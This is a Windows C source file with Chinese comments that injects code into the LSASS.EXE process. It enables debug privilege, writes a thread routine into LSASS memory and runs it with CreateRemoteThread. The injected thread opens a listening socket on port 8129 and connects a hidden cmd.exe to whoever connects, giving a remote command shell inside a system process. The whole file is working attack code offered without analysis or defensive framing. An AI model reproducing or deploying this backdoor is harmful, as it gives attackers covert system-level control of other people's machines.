#include
//#include
#include
#include
#pragma comment(lib,"Shlwapi.lib")
//参数结构 ;
typedef struct _RemotePara{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;
char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara;
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限
DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para){
WSADATA WSAData;
SOCKET listenSocket, clientSocket;
struct sockaddr_in server_addr, client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwLoadLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;
LoadLibraryFunc(Para->winsockDll);
PWSAStartup = (FARPROC)Para->dwWSAStartup;
PSocket = (FARPROC)Para->dwSocket;
Phtons = (FARPROC)Para->dwhtons;
Pbind = (FARPROC)Para->dwbind;
Plisten = (FARPROC)Para->dwlisten;
Paccept = (FARPROC)Para->dwaccept;
Psend = (FARPROC)Para->dwsend;
Precv = (FARPROC)Para->dwrecv;
Pclosesocket = (FARPROC)Para->dwclosesocket;
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile = (FARPROC)Para->dwWriteFile;
PReadFile = (FARPROC)Para->dwReadFile;
PCloseHandle = (FARPROC)Para->dwCloseHandle;
PCreatePipe = (FARPROC)Para->dwCreatePipe;
PTerminateProcess = (FARPROC)Para->dwTerminateProcess;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
PWSAStartup((WORD)((1<<8)|1), (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60, 0);
if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;
ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数，可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
while(1) {
memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
if(lBytesRead <=0 ) break;
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("LSASS.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;
// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;
ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");
myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");
hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");
hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");
//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);
return 0;
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;
hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,&pe32));
}
else return 0;
if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
} |
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